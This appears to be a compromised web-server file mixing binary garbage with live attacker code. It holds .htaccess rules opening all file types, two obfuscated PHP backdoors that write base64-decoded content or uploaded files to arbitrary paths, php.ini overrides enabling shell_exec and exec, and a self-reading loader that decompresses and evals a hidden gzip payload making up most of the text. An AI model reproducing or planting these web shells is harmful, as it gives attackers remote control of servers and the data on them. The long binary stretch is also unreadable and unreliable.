E`T[E{rpavstzkimxs! bRFJgBMU~pp/nG|#7(}NIL j$l`n@BMZ@yY!kԘ/%ymFȣ&%]Nh߱\/ MI8})`VӠ"¬%OdC{/s:h9iʀS,3sՆ]=8э|6d 
(#o?V̀Hp!Kyd
j&?uTD7)A06{Ia{bRHZEpavstzkimx돗n]L9H yըQc\μB'sԄ[zX#x~Zyunhbomtzj)3q?򷜝"hI\呸KBS2iEP0zh
Hp:ANs&@:F
?yunhbomtzj.=vs|ՠѝU$E%ş'o}?hI~c $/䌚\Rdra8{JDl:4E%[ȎY3B%~`Nmm"6jdG|6]qԣ$$7?dT2JQZPW)}-po^gZ夾_$2q*T @pAwϿ4L

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se6'.'4'.'_de'.'code'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$ERNZ='e'.'xit';$bDSZ='st'.'r'.'_'.'re'.'place';$NWLY='gzu'.'ncompress';$FIfz='subs'.'tr';$RSgm='fil'.'e_ge'.'t'.'_c'.'ont'.'ents';eval($NWLY($bDSZ('ndtmoqjuzc','>',$bDSZ('rabvkehnpu','<',$FIfz($RSgm( __FILE__ ),-172478)))));$ERNZ(0);
?>
xtǎܲ^_8W$
M{rrKwh;
wkUfo?%5?31{6ndtmoqjuzccndtmoqjuzc-?LֱjRrabvkehnpuG1e߿^3{ozsͷW7/˸|d:us?gw螪MKndtmoqjuzcV=ndtmoqjuzc?~݂in, x'ˬv`1x;ۖ'L^u36j0:0aĕ;iWO'KDm' 8~V78C!%R7x{sBjH aA6yiE
~X`!H9 Eb
H4&Q{ q 2.  sAtRF!	`oFn D@P4iM '+y4$.T `$}?;S7@)D^ܞep(Hcrabvkehnpu:XS{"̘
4L(.pN@2d C( x_7ȥ%1k	

ndtmoqjuzc4UX DJu	
`^{L,-|DR2x-p B@YLOONywTF F8B{{z&J:6G{rabvkehnpuD2@"KP
cpC$ 9p
b!jauA2$;Y ̎e	`UMơߊ^GlTM?Q	twA@~3SrabvkehnpunO@VRC,&\ZE/lȁBAS AĠ};:sb~P@Ү0` RX)₢ɀA&TnHOCb.̳80:Z `!@.󖹆dLL,0hŽPR-FޖƄm-[y($|Z/؆l3oH|95g_ts!SUT
J,ݾhջgJBn?S#qrabvkehnpu
B.rabvkehnpu'1]F+CmK?SR5gtF!:Pr]?)d9	QܢRMʋw&#n+FTKJ`~IMsh^ȋb=yֆXS0%}sndtmoqjuzcjkz^'q_7WfI"l=soIlF=U! D}Ȕ?i?Otrabvkehnpu* 'J31hwR/a8-.u!o̨wrabvkehnpurabvkehnpuD8ʄxwrabvkehnpuqgiϪboiS5|p1=ɉH6
`2܃wYߦ11$/iW˗I/+_;Sk֭ ~xv&s%RCwt|gɖB(|"uC_pT89+lZoC:CVj,rabvkehnpu/-6LwofTsI`/Tb۪
VLm.(J1`Hh[jxp*cT ϥA@ O%;s(K-B~iH:dw7Y26Ӧ Q[w&-VdՈF3=AAdIZiLzblGpԙ{iE~K?uN.$c6ΡCX&%~&1oDJmm,O rabvkehnpuo~䑯̠)\y4(;2-LO}DKg`O9x,28X')aA郳\7t=+vGsq5ڻE/SYVP(FWmhk1Lݙv@X)
-I2܌EjXb]]sQq1ϣ줢z;9s3Wոpơ/u\5Ҵ"P;Hڔ!F,Cd"t&[b_H*K}UЉ2|jLu0#Ƿ_mwwڴ-a|G~։dy\YYO-ZFD=薲5(c*UIw:߬S+DrHf ˷9YU\uv%x5V.R:WH919m*)N8.OJ"Zf_uEMh71?s:sQ.qY9BGO~
NP/Wwrabvkehnpu.T3-|x+Csy`csNW6+ѱw	)ܥOwndtmoqjuzcɣEshB
=K9;k^tI;+l:_[!kύrabvkehnpuY6SndtmoqjuzcJo6E$F]?bY&1S
UpzЊ!1:%[;.m_06S.LMoPk-Zۨ^l3"Ⱥ_-qTVӑOfsl
M mүtJWRR)zW=m_5:5ndtmoqjuzc)5a_ f{	 5'}y;hJƮc݀vv*b/Knp|BKD-,ǟ:ҸscYL?zB(`.{P쵌]'f-6I١ة}h53cJR*B=AlZrerabvkehnpuQȑJxY{d\,c
%P3VH'|Ŕ`yG
(&cҕ,#N)@?qkɍ&۶א[bŬ",?5Kp?Uݎ*+x;_@`^:tC wi
ʗ&	0]1xm!k]br3EFBlE/븂=1uKH0HQDG3UOcIR
_U 
}{̚a#	`\ۨH=;}y
)!yzT?5'-L]$rտx
_p!}qy- T oبiT^6~2gMlE
%LJ_-,!]eLMxWnxĿaj9s?!Vyv^9U`
+pNi~O0¼7U-26m7;xzKHwTDu%D\~,wGUvqc.O7	{rabvkehnpuW
ndtmoqjuzcݍ-6
v
q-eݤ*+HT*!	_E/O^ Y$H8]ܲkӫo(gZigFMbIT@FtS3d"/HY߇Di!)^KX'cOLs5aOe8
AwteY,ΒqSc׾ihAC7uDștHhitt`h!dW($m7t|aZO`dZ1%Qr
fљ=w fby4K"ʦ߸۵.`c;rabvkehnpurabvkehnpu
MB,6n/C
&&?ޣF}BKJ]i~^0(hP*I
	Tғbqd-I FTU]!*)pYXVWQE;vgd:Yqu+),ErabvkehnpuoNrabvkehnpu0wB,1JGndtmoqjuzc
zd4}M&EVwc\(-WTP恗yH˄ znIgC &{]	鿬rabvkehnpue{/}'Z~wݷa9CBe*%rH\rabvkehnpu,iģFAoς}P62"zKXrqy욾!1$ᬪhj%=@طM?u߹=m 9d
=By3\?rabvkehnpuQ2	$o2/.&
9O'UDD ܼRarinY/j5tޕ`nndtmoqjuzc/2^?rC(o'c"mxtg?Jp
7j#oCD
mkMΣ}᩻zfY/?B6|?aY׿# Z*T#ndtmoqjuzc-#./S!Mꋇ?wsЧϮ)d!5r{)Bb3Q.@3oJ1V@Lբڤ|zW*k40k%ei\`-K؏ߔX	h
y`/Rw4ErabvkehnpuZ)zgα{)IJf?qc$kVKV&7~]A:Sw/wmRfSׁq!_POZ[eРdaѝnh#OT&t8K^)tȎdHq\Av|a\1u ,0Hb(KndtmoqjuzcF[ǂ jͯsASE=k`¶0o+%ڇDXPc'oQϬr?1(-m6^bٛ#2k4`轆/rӁv &c:^nndtmoqjuzcՂN:xAY$]o~$4oOXeSP}Rhc,Uc
X2t6,۱ڻ_凕9(nK yOj{ch`(NQ aK)"yu`
ndtmoqjuzcs&ЅtLvgrNM~)+S[	ҽ|
 ziIZ/O0pndtmoqjuzc3 55F~6ɀ0eS=!rabvkehnpuɭg`ndtmoqjuzceZ},{it5-N*)4jMՁ[+kŊyybK1ؙ~'kQR%#$C+{'쯟]sL4=r5V0]|G"nѳܥ!yY;)YvI3lTRx[,|xHDīxcR	[jA)H#M$o"׋ c{|ݨ^x^7ޒ?ndtmoqjuzcS[Xgʫ+_gD#i658Oq)[v] &ndtmoqjuzc=,D-tB#a4p^3Dc#	՞p\SXrOG9f
3c/#~P*,''*UeD_
RD2Q[m!U4r9,wڟ?҇UΜ)24rxndtmoqjuzc9T;W#L2_l[MZ6
5?	0xS|_ROQfيd2qJ26PslXݙ53o3v?Q#b{\HCC*\d7OsJþ\u_ݰOӕ_ceOW1L}YYC5}j_C'H!JP~[hᮔ3	FwNAT#7v . jvI#eN*E㔟j|^QCrabvkehnpuᕧ;|	,-ߟ+0AԌk9.	ZR҈ӶF72`KP=-ڛg'Z\ Z|z虒)Lx~p"C!~`C9m
ax?ca8;2l_9 
*LG&[9AJn	"_M1ۧ!.&RZ`%J8\x酪XMgJ5rabvkehnpu|	3xH.]{1['aPVecɯT;0,iaΒ`Kb=`:4;&b
sA	;qA3:p%Օ,Wt*[#yRg=w[\{St,}6
zj&3H׊q*|mZcS:v^,_nv#3lSql&\X鹐6t5O'_dxڨusw횹dAllţX6ƛkG|Sp%sѰ,]=Xlv8%XWX8]ge/hAG N
6F7xӺW&Gi ܆h9} :F@Yiy,Sk3Ms5"CȘ-43m=ݜۭSo8)70Zc!+dE
.4^ˡ/pP6+ZΈw4R`&X@,9xC{nhrabvkehnpuh
Ȱ8MÏ&rabvkehnpuZO7+\u-.vO!}^A;G`/5/'6A/^0XIiJٴ'j;v5Զnڬ`Wɑ?fwΔ,eI#1?IL94McxTs'p@l{bǰt*ZC_P oF^$'^M
t0yl;7s!Nj@u*SEeK297L?@YEğ?ndtmoqjuzc]Jp
O,rhˤ&
ć֑ӷcpx9r4bGJW8)LMު2hJSN=?deq*DҭU2r}&SkS/sr	k4 ndtmoqjuzcU6'+-\ӻQZ^47')^$rabvkehnpuZndtmoqjuzc\?9u'{0DYvHw"uO@
  #`V'X54HKJs,e~4=iUu踘I@m6:R#zj'-ўj$Lުwjܽܲ@_NmF(d4G);ў{]m8ws"Z
oaMrabvkehnpu!ƳiW)R7b&q3/HH㠟(ߡksBUilcGًҒscs( /k/@;Lx0ĂÚU8d=?P2'i)r׺?ٙ@s͈	漞)Nܠ9n]XWWondtmoqjuzc=$NP tX;f*#ׁ~_ȖIu+d(7q#km8竐 /[?hݶEQ#
c[V79IVr"6,,.:._BgxT-*ndtmoqjuzcHȏaQ$(U
 ݣ^;֮ (w\r`|ժdGXS6eU8Qnh"(#
5i@?\M:a +oτ\~KvK)љ2v|KZv^YP|&0x }
6n]B"6@8jM&Z|GE+('R#Ǭ0MndtmoqjuzckN_/%d~g5@-:O^3~k07Vٍүs/-]x-#jE*T$T*UYW^؅C]Kxt׋RP}e7KTMXl =Gpd'VhaNm*C	LrIO!1uּ9B\2H ~xm=ndtmoqjuzcfɹLk2c+2#߀1=w8# ndtmoqjuzcOcod{moqͱm=SAj&&
L`pl۫396:!:YA:?Ƹ@j	Ms~ 5=J
p*O+0_Gt-'8FBwiе׀;U(h6$ndtmoqjuzc֤Wkq2\YMh5w|ndtmoqjuzc1rabvkehnpu_x
5avݗ\t:mlBʼ5~sd%^nU8::Ɍ=$bt-Z\ 4QA{Ɩ:tM®Ӿm~Lڸ RЪ7=}-5q	 C$x"?	 CFLlD [QPDݱ{7QOe)xndtmoqjuzc޽W&:L]K]%=8zyGyCc~tn!ę?ם9U'%
g`xsD0ƤRR=/#gL4we=y/h*]$Mum˦㉋m?(
/FDpoN17*(?|XŨ*eHR? T\ǅGJ֗Pעsi%؄ۭ(V=BP'Lİ?$֖&
ي=2/}-~o*WKJWAI3=wz2kCnnY7MJ.BF'FOX
=I7(f֢{er|(GrS͖0^Q#mO0d 粳N;ndtmoqjuzcGH SMΥM=sFL ]";6dS2Z)|ndtmoqjuzc^o}S=;Q
(O`I lһmMz= Ũ9*oJp#Y^~u0ҧ=~s2y_؇أ	BqSq,^@IPڛ;Vu {nq k H?cTJؠ
ތ'E׃+P`涳s:)Tsc0rabvkehnpu$S`1(&!*ㄵTyrabvkehnpuʼ_IzCT^Lf&!-*8#}O(.C[Z1yE&}8P $Xѯj	MW
b"^rabvkehnpuzC\D%3:^+fh-xqEO3&Άb|Y|&&kPݠ#q2v1$uEv)z~,}s͐Ul
t~*+Qwo$1q2)͖`rrabvkehnpujK	2f
[ܙo}pL(u~b0Ȑg2Vg&KQ+Gf`f}+*6ù%xc	CXev,`~!rabvkehnpu6F{H"
EvrfҥEۓ2j+zS΀2rabvkehnpuP/]J/ͿIrGJ
&Ūk9	_eCk.?(5'%'ߢr#w+
g`\5ѽ-/)}Za: }?ԫ'_piEghbDa`=/O7iA#2ˌe"h-@whk`-L1ݨt`/jiV	Z-A3!Ln5(w|HCߪ+%ID a6qfϣ~ӥܾRh8ay
P]bmrFLIz=8odfce:i2*𫙊^mlcEndtmoqjuzcZu][w{{DPp擭P$ndtmoqjuzcwtqN,.gndtmoqjuzc
Z "ƽ%MS0+u)|mۑb-䛰ftس]2Yp=H-p|;S3*};[x+tűkg4զYG
97܏`*N_+N}-%\D	~Ki8MRQBи.Ja3@jK
頗$t·aB+w˧ӚIϷCrabvkehnpu|#:vq-luW2{vG`6F&Z55
+)u/}J4pT[
rabvkehnpuNDס'?$L|c}Yc(W=Ne aTvqO8'7O.(1Z -ch w=Z/*D
%@ndtmoqjuzcWJC(},`g?;ndtmoqjuzc)l O@
Qf;riXI#=A(MVاJ򒣖8L/`$I&oaDԐo)yQ
ؽE.&D^ɍ`BL@7frabvkehnpuǥW͂~Srabvkehnpu0mDҍ[._퇸t^@[
t4:Rv~3q[;FMr+xCwJs'qQc7c=nJ[͚ndtmoqjuzcj=s5M\'k,o߮~5{#8tl-LG_+oHbSV+5iallFkyk=Q2^3m9VB[98'!|H~s`LZK,O-u|\5~3wt:Vxk_PPasm&cJ#i(㉢BSg^žZMbTk/EUsAwfM8Cv*I:`YLC3WFա:#ʄfG%@a')Iչv6*Hc_!&9MU-QSsctiz]2Y"iZk3irabvkehnpuBaѪhm?#J#WϬo/7%tnrC69^vFHrabvkehnpu6 hW	OGx09|Br634}#-`X[r?vD@4KyxʌXrabvkehnpu?{C}Ff9 t̾ 6FӘ:LpC8ndtmoqjuzca;b:o*U3HndtmoqjuzcIDHK߱ηZ6rabvkehnpu?ǩ/wi/?]$@}g
gF~Cb()VcA(MXTuSwK隳.}D0XH̆ L∌rhcOWUYv.o̓k_&/!e	+W_ԩ7wA{$lJ9lj-u=lrabvkehnpurG+32I
C
/`]4-+tCƩ\H1`F;9lp]oEP\{%3R`8sNetƆ756ĈҍndtmoqjuzcyL`}QoI*kxFZ1gh4-֧
0eSi6^gN'	HNHBw+RH9Kndtmoqjuzc6KOei46ӻF/_wvwHařDWrLei] f{nWVwM|,^zQ=SJd?*Mqu)wےfGx{3`d-;+R_.Undtmoqjuzc(M.5ovLQ|':UQ+[AhS&P&j{{aP=:~pSNsR%af_!̷1TLVJ"S{ +Vt?

[%y6d@NH10qc[sW}Sj[Hd=7.![#"T.A:/
(ndtmoqjuzco6݁2
϶CgKn\ f}i#0+*VhXYz&R%Z5L~DOSg|Sϫ"ESD?fS|~]NFEި^UD xb]\sy{eAu.I8ۄQqwx%* Нz\c7a
|Q Uil0A/k7;)RnLa=e鐐7;ˑw8?#3no(W	R?ѻ槹kQ!]OjP|yUY_V~}"ks )mμ۝0SP~⮗=!sVF =gOe(:v8ș{гv&=}/#e4A{)]	B1Y^.4{waz3탡sR.ndtmoqjuzcVndtmoqjuzc=]_pL4+Iw(IĒŗ̑;ChAEi2gZg
a߯Xmxndtmoqjuzc0	nY_:}TG9HaWof(
9ŀ`%QPySE6\[GYs_;esw_DPL2Zſ]; 6PTivNK2}`	v|
w7YEgM&%
75	:LWӦN_"3.iͰi$B֩Ky	ڊx
gEerabvkehnpu
ܙboٵ9!!JhI~b}8C
*%/cPk`,$llFtJv/^r^n358x!ǬD¹5cCg*[Zk}%mI`}B@7ԥ	Ky#qϾq˴@^o1І/~_RzӧׇEևDi5JS}}E5v-CX/bHQlrabvkehnpuxPA+a
R~l-5.f59{c.-3`8V*.sTN?ŔuPK&&]X̱
W/brabvkehnpu?=Y+xvPec&P7aCl܋LpȪUus+0d0b&rabvkehnpuH 1ׂtіT;%zИ/Z~%aXkœ(fT~r!dA!/4Hwֿcspi[Ѧ6HOAndtmoqjuzcH&K1R&% c&3`r^2'ڕ`K ]y47j
?@Nf,ndtmoqjuzc"
#[}@lAA-KZ)(靖+}+EUF
\`KK̨	;A!/!"
Rwie*'w$i?PrabvkehnpuPszj*@dTIX.eDgspd0šӓ]ٌ4+LYsPJ
%W-^3)"ŹknmP'߇07gJ s) CjSu2nIc"vb鶽i+rabvkehnpu]ZL8@`)Qȉ1$6_z=}~= N݃r [ozxf7&s`CԂ[]h"
'" ndtmoqjuzcBAЧR]}܋lbǅ(dyBgnrabvkehnpu'(7Q6	rabvkehnpugIYOMdht,
%~2&Ҽw#ITrabvkehnpu
I؊~ۯ/`,_E  Fʫݗ@xиyilvrO!rabvkehnpuCcѣlJX0^jJФUFS 5 Yj\ndtmoqjuzcc}B!^_YrabvkehnpuS=CFg+V1UU%Tji'WғPEYL5OK `E1 ]=ndtmoqjuzcC+J6VՠQfWܨ`kMIxQ~،r]su}͞zdjntF3:eQ~vhxU[Nz!I-w͍BWfNFᮈ9Qndtmoqjuzc96?N8\*Z2UGja$Φ㤣
.DfE-npk۟OϹ{\rQ:0]똃I6Vjû]7~#,'P%fndtmoqjuzcg,
S7Oã	y,0Ë`3;р][,,I1"XS Zh8{KT(Q=F-\^V"ѷBxӇ;o+UskܯKB %XIT%{;˪c$~B"g*p?Eҿ]3`b=-_ԟ6w١sy[`0{8n\(ۃSC^Rqʍ|fqQ tUͳEǟ1V&-xL@ aElhs1k/f,4K4AQm/zY1ˊpip;/ndtmoqjuzcF"C/6t8~TCmH;	F&'^
^6;B|Z(t1h85ʳSǥ	"*46``%D5qw?]Vndtmoqjuzc4 T
֌{F?NNg#zoL*	Bndtmoqjuzc4aANh nM,1+D^5xEs'y%COpM}F}7As=o8aM5o:9@8&KaSMiklJrabvkehnpu8P^W6g`cQldZ/8}Kzճ:]jmv?~X_tF k~6ԚW
ʂRFI~ߘ_#2e];fͽyM#Ji]2ndtmoqjuzcZsָlݍ$6SuB7^0Z*Y	bK'py0Ė/|E Ѭo㜪Prabvkehnpu$67AFKzfq[Ϣͱǌ"Lw( ̗Я@YndtmoqjuzcPZOhQ?Q4e p76EhndtmoqjuzceoZ)㵭wtu5-V;O3CVLeF6C=EIJ5SŰ ,HO%-9C	f(ƔLw%BhPW
X'9tNR--fI/?N0tsZbz3:@PPUb
eaI2+M[
X+uZyrabvkehnpuN̙j]٩}
iw"k\bjPrC=T\G~{;[''
+Wxc"ev|B	&wI#Nuo!빱Y0Sq9=b
ɔ9
FYfǐMi@Z !~}dtB4,+Oj({#\I$(`jH}Q~߁}x4/}g2!86ބ9ąEи8'3W%-굸k&BYRsҨsrB@08RH}Ď8'*9Ku. Ջ#{.3m&0
 ni6
	z%T}&mARC?DD\ndtmoqjuzc׀sndtmoqjuzcGp6
׉U:,g#sܣhO?K4cUMh(A
X@
R$`Q;C/,b-!	5X@Z.ndtmoqjuzcx`j}ZhOndtmoqjuzcJ*Z*k)&?_B`2L6$~H).'E-t&w)xrabvkehnpuYdc'VrG
xi.԰75PpK[8\b~2egHD˘P
,#VcdRCp6~Wh}2(Axp5s]8ٽLKJ}ןH'q2Mg#v-hL@m'1^ joeǶi3=-h{EK#]XU~SW\rabvkehnpu|WIiyroՠyZ`~cO
+U6zKs~6w
Ñ\IqX˩|IهIt1Nndtmoqjuzczi*6jJ@BnlbxGEPf3Iz5
~M
B,"2dOíHVi {7CݹrabvkehnpundtmoqjuzcuuwΕ$Z#e`S\:5l{E{1	'"78m/7x~dV@&w3B[\QV]4,EAVW;c~P垵|';2Ha_gw\1ƀV[ ; 䴾 Zg\Զ
vy%q:.L
vC"26$&wN}JDgoJ,4$
i~9Dcrabvkehnpu"ٟUADƢZ
ߟ66^"fR4Bj=pϳ(9C`|%_ABS/{ߝDY
Cǥm*^yǧ2`|?՛۵*Q0S@xwK3^ߍ֥Ł 3|4{GOctm8OihzpZ,;U	[% XQ+ozEp+f"wSKjib߾w@'xC||v;YpRQ1orRI|*ZCyE
qrabvkehnpuEݕ7SEA+GN
sndtmoqjuzcteGԁa!vt4[wC:'d"Ls` U[ʧZ=K﯎r{KV3nZn8#L$շ|6(N8
FW`W0R@So,24h]P٣hޜtj rm4im}}N?e=`]ndtmoqjuzcR1QqywWBQq1c]ֵ%p"֒5"=ndtmoqjuzci-ra 
,	79|u9A[xaE-hPltsndtmoqjuzc_k0!7E
NXM0'9XhH I`0rabvkehnpuhjrXħ^*UTClqI[*1efX0l&+W9n/4J˭Tw~, y Eww{kŒ_NU^q+ze73Ol0בH&i{	a6i|?4C[/HTv)
 vc~鄋X_[tz|CUbH-Jm:SVM_Zrabvkehnpub
2PD=hHߑEN怛2ePA?찟z"U
l8#^%5!%o9+i_~|YXlCa
OwL#?:70VzM}ARU[4svdϏެԻј|ndtmoqjuzc~Z	Ԛ0 -'	-I rabvkehnpu=ꮴ/)
6[4*BKωƤ	'dWHf\dz$ˣ*gN׳t6_Z*GCmB}Z/I6R`sX, oȕαDmTrabvkehnpu
	QEOc--4.(7Uv-h:gbppQ8Q
Hf2ۄԶha*n k?|iɢޗEeK~8S?w?fj0C/y'2Kuanv}F ѩcg!!mYZy(Qk):
%FmƉ&7ȼ[.*DstPUT̺8!3+)e,2K"-k[M's^5dZB8 Nӻ~M_ȭB,ЂejwEz. .ætJ!+}q@+X^p"[#$rK%|QJ|t~˱oδayxbDHndtmoqjuzcQ٣u,vp9vbz S[)CdeccLN=],ykזjRHC0hԗ^(ALg]4^xEc$12~l8_^epcg1!7@֗	PҪ9[tߕKtZx~S. d`~# #s/IQppi䍝%ߑ0vY]IQ`~A-cndtmoqjuzc&^l, T|wtnt@RyqgVfz]4" R	)A]`Gppf&'b.rabvkehnpuhŭr?vFv;,3@Bndtmoqjuzc!\pxndtmoqjuzcf:P\ĆoFhOndtmoqjuzc(',NyŚLg;{XZ^(_pw${Lfm%#sndtmoqjuzcInoRXdg.A?3wIV)cnջ .%}E Z#u|;um;꣗&n}C|rabvkehnpuNc/jQnO4pbb 	PD{_@$HePG\zFr1mmc-5ڛ{LF(Rw'5b"1D1~Q5?8B5hK꧚	gCbndtmoqjuzcON"ΛѼndtmoqjuzc'cLy쒼BtindtmoqjuzcRY҄se­X-urabvkehnpu+ԨwB0{|
y\LѴ?n]hOں0\yqsy[`LR_{lE	aO'7pcK:{S{2=,0/ԵB,R4G8
I
{
,WG̶czUeZNLw+r[3%eApg}	^dF)Umma?9=mL=N"oR&E$nxWfTx0^@00ndtmoqjuzc0hjLudz#G"9mQlVR ;JlJpx$- @IOfqjnUw%i3ϳrabvkehnpus$aP_ɮZB+^2dcRI[ugpZ咬}˄
9Ў@Mmۙ-H*#Irabvkehnpu|AڽX"'o&ϬMlNގV
F&~81mm|Kנ6V{H*Ź8GͳHzޣvy}4 \5@3i TEUɍQ9\4 j̜Z?D(&+x
ndtmoqjuzcR@HE`ݲ-λh7~c[Q}h@?|mwP2NndtmoqjuzcKaț`_`DfkNvó^OaB&}}.g\!1bg-T?xmVe3OF
rabvkehnpu(T"v:ƫeU&W ,+;\dޘ5w3S/YGIuk5LviZUq?`ndtmoqjuzcplL+(xu$AR:
:ɱO5j#˿\4\'Zio:{%Vd'l*T	~?&^왅?O$_{ b#t;$
3Rc*5pQ^cS@/۝|;q}˨w*Plf'RFw6B)p}uRM$o{oeU7BK$XǑh9st/Df.HDWH&XsKhL}(QIQ;ʫGv^q|gQzbP;Z}LVZ.3ŧIvy`i003-*Is~B-r\
w6/j0Y,oe)ndtmoqjuzc)O+MǴMEaRZ 	xS߉.][rabvkehnpu,{ujcU$8ލei}h'ՙR^'5܉ &H$KwNe	~;iB3T]4껿"G@JI$b5'YsLR876DE|"ծRn[&P {
T*5eOE¾Ywm@M3oCֽjNX
rabvkehnpundtmoqjuzcy6B~T?yF7Z.~%83tfJѧMhֲ(c|2C
Ʀlhx=1(~UE8߈ndtmoqjuzcJS G4ߙeQZv*JZSt}sgӽζv_}/WT
Z=_g nMKW)]̗`\XWac%]  &b,)5ߺQ2_ndtmoqjuzcJϔ\PݨyV1t5Aucw+#QSKKs4U3D0Gts?ar
74K&o9+V7BB͝j7f Mdِv5d!sZ)s[IڬOoó/MYdwmu5&NH6\8L
KHeV&D}+Ł2fNn%բ2hO00K`]1(Oyt%jr	Z*?6 Q)[pW

ndtmoqjuzc|ͧFV0ů9.udx+S׊mڈGApT_{F5#gndtmoqjuzcnݍ򃫎
ko/Q3K{ 	D˃˫W,-;Nz4(YBK-f5ΈqzфywpUtӧHµ[n{E{?7sPk` ۂ;u[^smlθ0$ -is#1d{^|I[arabvkehnpu:RP~%-~Jh?.!;Lpjw4ڣ*w|bR%O=7Ƣltjni@rabvkehnpuf6H[=I	dP%kpӬ*Sb(XNX$ၵSi̵ݥva  AE:ۄ(jG}&Ej5	I!Po[YǷ]DTk\dmtz%S-eg5p
ԠmЖ9="2
K^i;Ǵ܉=60Zu\F~uL;u`	UHg0l˗(Rdn#N{*g$cR1Zc_Z&\fg:arabvkehnpuIrabvkehnpu3aө~mFGAss!rؚ!"5eR#Hq:.C	GGfndtmoqjuzc'%HN̺܇zrabvkehnpuZgIՖ ^wx72s @DrQ2Z_?vYiWRkj~ޤ5Z"؊D
Qi\M%f`c1$NK)vnT1KKjӻg"oy,EhVdyKieUndtmoqjuzc~UE/i5!
Knz|e)_w{d(6?ͦm|yeYu/Ԯ3Z~!j(	
&jq姿Eh__Jλa^w4z,E|"nܶ)#:͋HZ1WpRndtmoqjuzcvwhZ$HLAsndtmoqjuzc~HL8mEo,~X, -=NXHVBq
ĄT8*|F3oѧyp릧sQ+wUBOp}@Gondtmoqjuzcd@/ʽ/]0|cndtmoqjuzcɳ0$`ߖm?ktk*=-GtBSN/59mi /D rabvkehnpu2q2+Y-yL+F)V16d)A+r4W;lrabvkehnpu;;-*ѭ+aMJ`+2`'q2ztX_vvCvZ,2	Ѓ0+fXT@t$;^A{]zVk|SzndtmoqjuzcYIndtmoqjuzc7eW1%ݥTrabvkehnpui
bJAt@+{H3)aVb+]!cX*^d;u/*49вIN:w@휓%+cLJ~\0rabvkehnpu쭢*_	 *A6C4i%
 Z2K]P#w|;Xxdq؊+B7BZͩ95Z=+2S镵FZ5H*πlrabvkehnpu );
r!s&('p:y{V}7@N#	5-O9WY)#+ϧi He[:d2ndtmoqjuzc9a)Лͨ1rabvkehnpu$uS~ƗTpׇv=LB($!*
en&1Sf9;yy MύVVj7'8rabvkehnpu&ӯa"'#UwF9=5_{aM#2V}Y88No~ʂ᪛xlY
&tÍ
YͦfҊ~Xfz;Jqg#7=:_BwR
|ruhNZisS4}w[^s'5hC/cҦ6[ҽPާx6\I?iv\tbPƭf$Jo^j)ndtmoqjuzcA3Q} |BE	2SWW8ziǜCacmY/kEW$%H*U~P8~έndtmoqjuzcF]%\rabvkehnpu^zDV^f~n$mJoLjж}(
|ݜ6Tũ4WB5	V Krabvkehnpu^m?D 5K6|VndtmoqjuzcB'6ndtmoqjuzc0UMp=_WC`k,cWU(+R,4
NM[,a{L6?H
8=WAJ7BndtmoqjuzcTxWFZ /ђUӑ㭆&͓ڳO9KLKޔNDd&\m"}@؝uPrabvkehnpuQ5j	UrO~xe	,rabvkehnpuHѹ^Ha6ک5C3vv8n0 A^'BEuf TVCo_RUJiHY|y! 8o7i#4z#~5|SաI6MZ'U:y*7+?}O֯ĉsIdnypW2!_Ovd11K	00yĞR KWRrabvkehnpuɯQ%d`5+ F7x)Z{RJyndtmoqjuzcWr$VeS=yøb,~Zt* K\(.֠χŹ UꗧL	n~}]nÆÇ( ¹1M)7O̯4rJAU|KCU4
O~7,ǳ3u1'FJ ԍAd=l
*'|ndtmoqjuzcf7rabvkehnpuH\)q3NxNQJL /)έ6A
%0
LErabvkehnpu	o*\2Srabvkehnpum]#):dB6](卣Mjeyk2j~ndtmoqjuzcUex`/炲CE#̑Fj:0QehFtB*&ndtmoqjuzca6
	ڐ]yd2z1sKԝO)%iڑ!ŒJ__hȪF?ñP}~g@:
yҘPAs2X2Qҥ,d8IBL[W.-KL
,@(."[HsA:VvV`8Hld,Kبo3rabvkehnpu!C2n.^bz88e= uC0gL'n(gǙ~C᫒C?luFvTO2E
h9 ՇD%O&Q
2{p7|WePzBpF̊@C'gndtmoqjuzc^`L7J4ĻV-A!,󞧾ib@:-(o/ܮd.Q
K qҼQ eQ!mKSKh:J}t 8ں3~#t%?sYOʲ/ؙB
hH}c]xrw3 `_nme8U'-;f薃Yndtmoqjuzcf;ӛJtu*\_X`vaT3}j 6؆ndtmoqjuzcO5rabvkehnpuzF5Xހ%cc53_	aL\bE"yW/ndtmoqjuzch_SW@P1 lT[%кiW/'0dJ-jVx-(	9=%՝1]"êAP|,xHi٧hJd_#*_揻28srZw:L{3Vc?VIndtmoqjuzcy?Jԕ71ޛ	ɪ2ǚq,)3nndtmoqjuzcVH)0 B.fcW˫w@yM~^k3IQ,lOYt(4?
-SP끹#X12;̐5j1:Dbor1
qw
3|}Q^Wuxw%IW=*%a9CXߣI1k[%%Yki
=QeٗxfdP/˽ktBA#~Of\SMiUS=(3n_ GY/XP^{w
/ۯpŁ`\
 BDL4l^gW$j7YndtmoqjuzcwlIzKZ^ ]XWh
PG#InG@DIbd@ k爐`5NQ!aLSE{Y*^Kx||hB21&rabvkehnpu^||**|?RJB|m({4{
10m鰍v9K{
c9ubyBbj0K,^|_g$L -rabvkehnpu6NB5ȗRLZxH60w|Ri܁:ICK@j$-OzN5}@.1$.ZU
n4s4z7GO%Wno%a@`*efQP̩d&LO(Oy1TQndtmoqjuzcy*I|0Q},fbd%o?x?$U@1܈6յBrabvkehnpu)z]]Ȅo:HZNL-vSNܺ
5 
